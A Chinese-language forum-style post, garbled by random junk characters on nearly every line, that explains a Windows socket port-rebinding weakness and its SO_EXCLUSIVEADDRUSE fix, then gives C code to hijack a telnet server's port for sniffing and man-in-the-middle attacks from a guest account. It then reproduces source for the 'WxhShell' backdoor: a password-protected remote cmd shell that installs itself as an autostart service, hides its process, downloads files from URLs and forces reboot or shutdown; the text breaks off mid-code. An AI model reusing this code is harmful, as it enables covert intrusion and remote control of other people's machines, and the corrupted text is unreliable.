在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:2UC{_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/@nRL 3!oQmG_T saddr.sin_family = AF_INET;
^tKOxW#
a ?#EXG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J"2ODB5" I\uB"Z{9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`F+x]<m! *A1TDc$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}jY[| >z cVHE}0Xd( 这意味着什么?意味着可以进行如下的攻击:
R$;&O.
5M YT(1
"{: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9X{nJ" -ynLuq#1A 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
S_ -QvG2 2eR+dT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sQw`U{JG o?O,nD
6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^B!?;\4IM C8W`Oly:] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AIxBZt7{b > v!c\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
BQ}.+T\ >wS:3$Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$H:h(ia: Qdr-GODx #include
-z 5k4Y #include
LI|HET_ #include
FPUR0myCU #include
L|1zHDxQ DWORD WINAPI ClientThread(LPVOID lpParam);
C94UF7al int main()
hHl-;%# {
#HuA(``[d WORD wVersionRequested;
CygV_q DWORD ret;
v4>"p!_C WSADATA wsaData;
x^O2Lj,w\ BOOL val;
+l?ro[#6&. SOCKADDR_IN saddr;
HFx"fT SOCKADDR_IN scaddr;
eW*ae;-
int err;
>eTgP._ SOCKET s;
@oc%4~zl SOCKET sc;
/e?ux ~f| int caddsize;
HJ1\FO9\ HANDLE mt;
+$QL0|RL DWORD tid;
=U7D}n
hS- wVersionRequested = MAKEWORD( 2, 2 );
. nF err = WSAStartup( wVersionRequested, &wsaData );
kq.h\[ if ( err != 0 ) {
8(/f!~ printf("error!WSAStartup failed!\n");
P ~
pbx return -1;
07"Oj9NlA }
W]}V<S$ saddr.sin_family = AF_INET;
;ld~21#m 2[&-y[1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`L*;58MA !@Vp Bl saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-zLI!F 0 saddr.sin_port = htons(23);
ZFuJ2 : if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ftU5A@(T {
cTaD{!zm5 printf("error!socket failed!\n");
6`";)T[ G9 return -1;
<d&)|W }
MHyl=5 val = TRUE;
2-c0/?_4 //SO_REUSEADDR选项就是可以实现端口重绑定的
d~Ry> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H'\ EA(v+ {
bl>b/u7/6 printf("error!setsockopt failed!\n");
g?AqC return -1;
R|$`MX}'z }
A}Dpw[Q2@8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5YH
mp7c-z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wVJFA1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*#^1rKGWK qq_,"~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^`MDP`M; {
~d `4W<1a ret=GetLastError();
;GT)sI printf("error!bind failed!\n");
Jb.u^3R@ return -1;
Ib8{+j }
khIa9Nm listen(s,2);
ViT 5Jn7 while(1)
>@Vr'kg+V {
[=F
|^KL caddsize = sizeof(scaddr);
Jo$Dxa
z //接受连接请求
;/q6^Nk3A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vl~ if(sc!=INVALID_SOCKET)
`srZ#F5 {
.);:K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O:p649A if(mt==NULL)
dTQvz9 C {
A":b_!sW printf("Thread Creat Failed!\n");
>D4Ez break;
eniR} }
AR6vc }
p}7&x[fTLk CloseHandle(mt);
P}QbxkS 8 }
9ufs6z closesocket(s);
!D&MJThNy WSACleanup();
kD7(}N8YR return 0;
ld?.o/ }
-f gKSJ7 DWORD WINAPI ClientThread(LPVOID lpParam)
}z- {
BIf].RY SOCKET ss = (SOCKET)lpParam;
j$oZIV7 SOCKET sc;
emPm^M5/K unsigned char buf[4096];
7O^ S.( SOCKADDR_IN saddr;
Bic {
H long num;
X
hX'*{3k DWORD val;
kK|+W, DWORD ret;
!*UdY( //如果是隐藏端口应用的话,可以在此处加一些判断
yP4.Z9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\U>Kn_7m saddr.sin_family = AF_INET;
E"&9FxS]^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jUSr t)o03 saddr.sin_port = htons(23);
>!.9g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|bnjC $b * {
XqH<)B
] printf("error!socket failed!\n");
AK?j1Pk return -1;
xU<lv{m`D }
NP*0WT_gB val = 100;
wT yM9wz& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`3oP^# {
:?k=Yr ret = GetLastError();
mJR
T+SZ return -1;
@\}36y }
M)^9e? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yLOLv6g~e {
+aqo8'a ret = GetLastError();
Kp8T;&<Iay return -1;
s2=X>,kz? }
S9oGf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]X|G+[Ujv {
"]Td^Nxi printf("error!socket connect failed!\n");
H H3 closesocket(sc);
<j3HT"^[D closesocket(ss);
ZhaOH5{9 return -1;
hO@3-SRa,k }
yv4PK* while(1)
KZfRiCZ {
0*x? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7b2<,
.E //如果是嗅探内容的话,可以再此处进行内容分析和记录
`_^=OOn
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
VW`=9T5%@ num = recv(ss,buf,4096,0);
*G41%uz if(num>0)
,`@|C
Z-4A send(sc,buf,num,0);
mP[u[|] else if(num==0)
26K~m@ break;
:q1r2&ne num = recv(sc,buf,4096,0);
$7d"9s\$" if(num>0)
$u"$mg7x send(ss,buf,num,0);
??V["o T else if(num==0)
qDb}b d5 break;
c%.&F }
nB0ol-< closesocket(ss);
'Sh5W%NM closesocket(sc);
We?:DM
[ return 0 ;
1tpD| }
[Cp{i<C y8z%s/gRh &}1)]6q$ ==========================================================
,$-PC=Ti( L9oZ7 o 下边附上一个代码,,WXhSHELL
u`|fmVI \]%U?`A ==========================================================
Y&:i^k 3/FB>w gt #include "stdafx.h"
oD\+ 5[x @CF4:NNHw #include <stdio.h>
hhhO+D1( #include <string.h>
e r$ 'c #include <windows.h>
GK&Dd"v #include <winsock2.h>
E76:}( #include <winsvc.h>
BUyA] #include <urlmon.h>
--kK<9J7 sKO
;p #pragma comment (lib, "Ws2_32.lib")
)zo ;r!eP #pragma comment (lib, "urlmon.lib")
'%N)(S`O7P KL4/"$l] #define MAX_USER 100 // 最大客户端连接数
Q@n k T1o #define BUF_SOCK 200 // sock buffer
"g-NUl`' #define KEY_BUFF 255 // 输入 buffer
!&[4T#c X2v'9 x #define REBOOT 0 // 重启
z?,5v`,t2 #define SHUTDOWN 1 // 关机
<bI,y_<K ? Q}{&J #define DEF_PORT 5000 // 监听端口
VIzZmd q?&&:.H"?5 #define REG_LEN 16 // 注册表键长度
rI/KrBM #define SVC_LEN 80 // NT服务名长度
YyIt-fPZ %>TdTt // 从dll定义API
`l#g`~L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8t%1x|! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
a0.XJR{T" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G\%hT5^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4+Y5u4`t \.]
U // wxhshell配置信息
HrGX-6` struct WSCFG {
J?'!8,RX int ws_port; // 监听端口
y e'5A char ws_passstr[REG_LEN]; // 口令
{'!~j!1'j int ws_autoins; // 安装标记, 1=yes 0=no
h#
8b # char ws_regname[REG_LEN]; // 注册表键名
ty> O}9% char ws_svcname[REG_LEN]; // 服务名
YPl{5= char ws_svcdisp[SVC_LEN]; // 服务显示名
x{$NstGB char ws_svcdesc[SVC_LEN]; // 服务描述信息
if>] )g2lr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RMK
U5A7 int ws_downexe; // 下载执行标记, 1=yes 0=no
uE(w$2Wi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1CbC|q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
whCv9)x v(`$%V. };
?9+;[X UlrY // default Wxhshell configuration
ikQ2x]Sp struct WSCFG wscfg={DEF_PORT,
Q*:
Ow] "xuhuanlingzhe",
pjFgIG2=9 1,
B|v
fkX2f "Wxhshell",
d@hJ=-4 "Wxhshell",
16vfIUtb "WxhShell Service",
#x21e }Li "Wrsky Windows CmdShell Service",
K-ebAaiC "Please Input Your Password: ",
z61
o6mb 1,
$G3P3y:
[ "
http://www.wrsky.com/wxhshell.exe",
h*LIS@&9C5 "Wxhshell.exe"
*?{)i~ };
$`%.Y&A RS~oSoAE // 消息定义模块
|UG)*t/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T[~X~dqwn" char *msg_ws_prompt="\n\r? for help\n\r#>";
fJuJ#MX{: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JFfx9%Fq char *msg_ws_ext="\n\rExit.";
lxZXz JkqZ char *msg_ws_end="\n\rQuit.";
dIm m}, char *msg_ws_boot="\n\rReboot...";
#7{a~-S char *msg_ws_poff="\n\rShutdown...";
b11C3TyQT char *msg_ws_down="\n\rSave to ";
*RPI$0 a'BBp6 char *msg_ws_err="\n\rErr!";
1Q<a+
l char *msg_ws_ok="\n\rOK!";
Yh=Zn[U \T0`GpE char ExeFile[MAX_PATH];
BeQJ/` int nUser = 0;
eW/Hn HANDLE handles[MAX_USER];
Ax
^9J)C int OsIsNt;
\;}dSSB1 dSbV{*B;> SERVICE_STATUS serviceStatus;
-t]0DsPg SERVICE_STATUS_HANDLE hServiceStatusHandle;
i|*:gH OR3TRa XD // 函数声明
u|e2T@t= int Install(void);
Oaui@q
int Uninstall(void);
y}A-o_u@cD int DownloadFile(char *sURL, SOCKET wsh);
W8)GT`\ int Boot(int flag);
f&:g{K void HideProc(void);
Ap/WgVw; int GetOsVer(void);
FwyPmtBj int Wxhshell(SOCKET wsl);
]l`DR4
= void TalkWithClient(void *cs);
2bqwnRT} int CmdShell(SOCKET sock);
VrpYBU int StartFromService(void);
BtspnVBez int StartWxhshell(LPSTR lpCmdLine);
q6q=,<T%S 7 UR)4dYA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@:}z\qBM VOID WINAPI NTServiceHandler( DWORD fdwControl );
;Bm{_$hf= ?S"xR0 * // 数据结构和表定义
&3rh{" ^9 SERVICE_TABLE_ENTRY DispatchTable[] =
?pFHpz {
52oR^| {wscfg.ws_svcname, NTServiceMain},
<iMLM<J<w {NULL, NULL}
'2NeuK -KD };
--FvE|I yDPek*#^"q // 自我安装
/)~McP3 int Install(void)
xed$z {
@_;6L char svExeFile[MAX_PATH];
{+!_; zzZ HKEY key;
PqfH}d0l strcpy(svExeFile,ExeFile);
^pn:SV s:%>H|- // 如果是win9x系统,修改注册表设为自启动
NFQ0/iuW if(!OsIsNt) {
l1@:&j3h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"YivjHa7H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K.z@Vx. RegCloseKey(key);
s;bqUY?LD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x[]n\\a? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M:ttzsd RegCloseKey(key);
sviGS&J9h return 0;
9rhz#w }
bp }~{]:b }
17-K~ybc }
mV-MJ$3r else {
Ba"Z^(: t ,0~5>5 // 如果是NT以上系统,安装为系统服务
g%K3ah
v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
JWLQ9UX if (schSCManager!=0)
5z0SjQ {
by-B).7 SC_HANDLE schService = CreateService
b( wiJ&t (
'i}Q R~pe schSCManager,
[xHK^JP 8F wscfg.ws_svcname,
.^/OL}/~< wscfg.ws_svcdisp,
ss*dM.b SERVICE_ALL_ACCESS,
STO6cNi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T3\Q< SERVICE_AUTO_START,
@hk~8y]rz SERVICE_ERROR_NORMAL,
6b@:La svExeFile,
!y6
D+<k*] NULL,
Rt+s\MC^r NULL,
<=WQs2 NULL,
)AnX[:y NULL,
bEM-^SR NULL
h9No'!'! );
O `*}N1No[ if (schService!=0)
*edB3!! {
ondF CloseServiceHandle(schService);
nP] ~8ViS CloseServiceHandle(schSCManager);
'En 6h" { strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t'^/}=c- strcat(svExeFile,wscfg.ws_svcname);
1D 6iJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u\50,N9Wp{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
YI|7a#*F RegCloseKey(key);
E#J+.&2 return 0;
1%H]2@ }
8!1vsEqv }
4jvgyi9
CloseServiceHandle(schSCManager);
8dP^zjPj }
yKi* 8N"e< }
='a$>JVJ5 XSXS;Fh) return 1;
ENygD }
66v6do7 /mmCqP // 自我卸载
|[8&5[); int Uninstall(void)
"Q^Ck7 {
'(;`t1V8k HKEY key;
sk9*3d5I LEG
y1L if(!OsIsNt) {
p"w"/[8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ye T[KjX RegDeleteValue(key,wscfg.ws_regname);
phd,Jg[ RegCloseKey(key);
5EM(3eY ^q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sT| 8a RegDeleteValue(key,wscfg.ws_regname);
IF<pT) RegCloseKey(key);
:2}zovsdj return 0;
o@vo,JU }
tv5G']vO\ }
6Z0@4_Y@B6 }
ml\A)8O]j/ else {
+Uq$'2CT :A>cf} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BZe x if (schSCManager!=0)
h49|x&03 {
3 cu`U` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>k5nU^|B1 if (schService!=0)
Ab/gY$l {
}/Pz1,/ if(DeleteService(schService)!=0) {
]:d`=V\&N CloseServiceHandle(schService);
}[k~JXt CloseServiceHandle(schSCManager);
voEg[Gg4%I return 0;
uPhFBD7 }
>T=($:n CloseServiceHandle(schService);
vdV@G`)HPr }
gh#9< CloseServiceHandle(schSCManager);
ihdN{Mx<2 }
Y:XE4v/)@L }
/0IvvD!7N {%*,KB>b return 1;
?Mtd3F^o? }
OW;]=k/( u,I_p[`E // 从指定url下载文件
0"#'Z>" int DownloadFile(char *sURL, SOCKET wsh)
;N#d'E\ {
E9i
M-Lw HRESULT hr;
1YL6:5n char seps[]= "/";
8c3Qd char *token;
q#$Al char *file;
A!\g!* char myURL[MAX_PATH];
gs7h`5[es char myFILE[MAX_PATH];
x\T 9V~8a jhl9 strcpy(myURL,sURL);
iv*`.9TK- token=strtok(myURL,seps);
~bC{R&p while(token!=NULL)
Yi1lvB?m {
]3nka$wA* file=token;
.5Sw token=strtok(NULL,seps);
@z[,w` }
0Z$=2c?xT K-vG5t0$\/ GetCurrentDirectory(MAX_PATH,myFILE);
fMgB!y"Em strcat(myFILE, "\\");
-^yb[b, strcat(myFILE, file);
(e.?). e send(wsh,myFILE,strlen(myFILE),0);
&@NTedg! send(wsh,"...",3,0);
aNs~Uad1U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*:L-/Q)i if(hr==S_OK)
GgwO>[T return 0;
]?tC+UKb else
e=e^;K4 return 1;
O/
Yz6VQ ^E{M[;sF3y }
bk^W]<:z` z><uYO$ // 系统电源模块
M$iDaEu- int Boot(int flag)
Z\c^CN {
: .Y HANDLE hToken;
[;~:',vHQf TOKEN_PRIVILEGES tkp;
qz[qjGdHg O|wu;1pQ if(OsIsNt) {
)IQ5Qu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bS7rG$n [ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
S5'ZKk tkp.PrivilegeCount = 1;
^C$Oht,cU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,41Z_h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"x~VXU%xU if(flag==REBOOT) {
trlZ ^K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!D#wSeJ return 0;
q=Xd a0c }
742sqHx else {
a_}k^zw( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=)QtE|p,77 return 0;
xgeDfpF' }
4u0\|e@a }
KT'Ebb] else {
K=lm9K if(flag==REBOOT) {
0oR'"Vo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A)v!
{ return 0;
dZ^(e0& :H }
_7e ^
t N else {
ye?4^@u u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v|~&I%S7 return 0;
[&H$Su}$0 }
^hL?.xj }
Em6P6D>S>, Jzu U
k return 1;
o9GtS$O\ }
xAlyik
TgC8EcLr // win9x进程隐藏模块
'DLgOUvh void HideProc(void)
j`H5S {
e
*9c33 *49({TD6` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{9mXJu$cc if ( hKernel != NULL )
MC\rx=cR\ {
lSW6\jX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F"I{_yleq' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-O&u;kh4g FreeLibrary(hKernel);
V%|CCrR }
<d*;d3gm &ZyZmB return;
8nV#\J9 }
x&^>|'H pk>p|q // 获取操作系统版本
EuH[G_5e0 int GetOsVer(void)
MawWgd* {
XHN*'@
77; OSVERSIONINFO winfo;
[B0]%!hFw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yZHh@W4v GetVersionEx(&winfo);
NCu:E{([ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cpY'::5.% return 1;
0XgJCvMcB else
+O]jklS4H return 0;
WRdBL5 }
$~^Y4 }
m <t~RGn3 // 客户端句柄模块
N*mm[F2+F int Wxhshell(SOCKET wsl)
O4c[,Uq8~ {
85{2TXQ^%= SOCKET wsh;
Nd;)V struct sockaddr_in client;
lhk=yVG3 DWORD myID;
8?yRa{'" WSi`KNX while(nUser<MAX_USER)
:NCY6?
[Dz {
s8O.yL int nSize=sizeof(client);
(Ci{fY6` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!k5I#w : if(wsh==INVALID_SOCKET) return 1;
DA9-F At t~NTL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A vh"(j if(handles[nUser]==0)
&7 0o4~Fr closesocket(wsh);
Tr\6AN?o else
BdMmeM2h nUser++;
V
eD<1< }
'c[|\M!u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#E'aa'P} (9!/bX< return 0;
%B#(d)T*- }
<i1.W!% M= ]]kJ:I // 关闭 socket
M"W~%
void CloseIt(SOCKET wsh)
$E >) {
Uo<iZ3J closesocket(wsh);
AcoU.tpP nUser--;
iHYvH
ExitThread(0);
RX"~m!26
}
<w1#3Mu' +t8{aaV // 客户端请求句柄
s.uw,x void TalkWithClient(void *cs)
0b3z(x!O {
7,v}Ap]Pa e5z U`R SOCKET wsh=(SOCKET)cs;
B*
hW char pwd[SVC_LEN];
q@@C|oqEX char cmd[KEY_BUFF];
P}2waJe char chr[1];
*LA2@9l int i,j;
'F .tOD $~G=Hcl9 while (nUser < MAX_USER) {
_yH=w'8. +k?0C?/T; if(wscfg.ws_passstr) {
_+0QQ{'N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kv8
/UW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MJ%gF=$X //ZeroMemory(pwd,KEY_BUFF);
{>]7xTpwZ i=0;
"d3qUk while(i<SVC_LEN) {
/4xp?Lo: v:xfGA nP // 设置超时
^_0l(ke fd_set FdRead;
Cju%CE3a struct timeval TimeOut;
Jx-dWfe FD_ZERO(&FdRead);
",Ge:\TR= FD_SET(wsh,&FdRead);
uG:xd0X+W TimeOut.tv_sec=8;
}i\U,mH0_& TimeOut.tv_usec=0;
bdBFDg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%uUQBZ4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J;R1OJs S '*d);{D8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
CHGV1X, pwd
=chr[0]; xlHC?d0}
if(chr[0]==0xd || chr[0]==0xa) { W]aX}>0
pwd=0; jn:9Cr,o;g
break; qiyX{J7Z
} OtsW>L@ O(
i++; .$s>b#m O
} Osj/={7g
^?Y x{r~9
// 如果是非法用户,关闭 socket FVo_=O)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h,Nq:"}
} H6Dw5vG"l
<<iwJ
U%:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &}+^*X
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jjTb:Z=.'
q"OJF'>w5
while(1) { }iBFo\vU
#CcC& I
:c
ZeroMemory(cmd,KEY_BUFF); w1q`
b$,~S\\c
// 自动支持客户端 telnet标准 >`S $(f
j=0; ~L55l2u7
while(j<KEY_BUFF) { q2U8]V U)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MzP
q(`W
cmd[j]=chr[0]; )_-EeH
if(chr[0]==0xa || chr[0]==0xd) { KhFw%Z0s<
cmd[j]=0; gOSFvH8FU
break; P-2 5]-
} KJQW ))%e
j++; V
W2+ Bs}
} K4`)srd
nS$_VJ]~
// 下载文件 OdWZYWj
if(strstr(cmd,"http://")) { +C8yzMN\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~IhLjE
if(DownloadFile(cmd,wsh)) L &nqlH@+~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N#!**Q 0
else ZaKT~f%%z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NAnccB D!{
} %c`P`~sp
else { 3;t {V$
'G>gNq
switch(cmd[0]) { (h$[g"8
Z H1UAf
// 帮助 _f1~r^(/T0
case '?': { f*tKj.P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); piPx8jT`F
break; }s>.Fh
} Fr{}~fRW<
// 安装 7{fOo%(7
case 'i': { {<J(*K*\Jo
if(Install()) UU;U,q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ab/^z0GT
else t_\;G~O9-M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{3vPG
break; 6{8dv9tK
} %X^K5Io
// 卸载 )o[Jxu'
case 'r': { gK
Uci
if(Uninstall()) =e j'5m($3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _O w]kP='
else (t%+Z"j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^{+,j}V_H
break; !L|PDGD
} <^v-y)%N:A
// 显示 wxhshell 所在路径 M>m+VsJV
case 'p': { fx#Krr@
char svExeFile[MAX_PATH]; R&P}\cf8T
strcpy(svExeFile,"\n\r"); "gQA|NHwV
strcat(svExeFile,ExeFile); +`_Km5=
send(wsh,svExeFile,strlen(svExeFile),0); C#3K.0a
break; R|OY5@
} :.J]s<J(F
// 重启 E2%{?o
case 'b': { 27CVAX ghV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 898=9`7e
if(Boot(REBOOT)) _W +
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w<4\zT_U}
else { J\fu6Ti
closesocket(wsh); 6M-Y`T`J
ExitThread(0); 2z+-vT%
} \7elqX`.yY
break; fk!P#
} h^aUVuL/
// 关机 o+F]80CH
case 'd': { )Co&(;zf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ph Ep3o&"
if(Boot(SHUTDOWN)) <>I4wqqb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k}tTl 2
else { "H"4]m1Wc
closesocket(wsh);
YgfQ{3^I
ExitThread(0); iLR^ V!
} fJ8Q\lb<_
break; KsR^:_e
} lQ!)0F
// 获取shell hO H
DXc"
case 's': { v[t*CpGd
CmdShell(wsh); Q/u1$&1
closesocket(wsh); $1< ~J
ExitThread(0); 8*\PWl
break; E6njmdu
} $Il:Yw_
// 退出
ek9Y9eJ"
case 'x': { }p$@.+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |o0?u:
CloseIt(wsh); ,LpG E>s
break; P S [ifC
} 1,pg7L8H
// 离开 ;VlA~tv
case 'q': { Sru}0M#M
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W2-1oS~ma
closesocket(wsh); SRfnT?u6
WSACleanup(); Vub($
exit(1); b8$(j2B~
break; V3] Z~@
} U)B^R
} :^92B?q
} G
zw
$M
T#:n7$M|?A
// 提示信息 2S#|[wq(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $u-yw1FT
} J3P)oM[
} rM5{R}+;
/_g-w93
return; pipO,n
} +D&aE$<
[\ALT8vC?m
// shell模块句柄 E%tGwbi7
int CmdShell(SOCKET sock) (I7s[
{ AQR/nWwx
STARTUPINFO si; "oc&uj
ZeroMemory(&si,sizeof(si)); QO|roE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lf?dTPrD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OqNtTk+
PROCESS_INFORMATION ProcessInfo; 1GA$nFBVC
char cmdline[]="cmd"; F9\T<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m.0:R
return 0; fO'"UI
} PW)Gd +y
+`D,7"{Eu
// 自身启动模式 .
v
L4@_
int StartFromService(void) G$T#ql
{ FvTc{"w /
typedef struct
W!.vP~ >
{ x.ZW%P1
DWORD ExitStatus; $lYy `OuC
DWORD PebBaseAddress; +#Q\;;FNP
DWORD AffinityMask; X6`F<H`
DWORD BasePriority; /6@iRswa
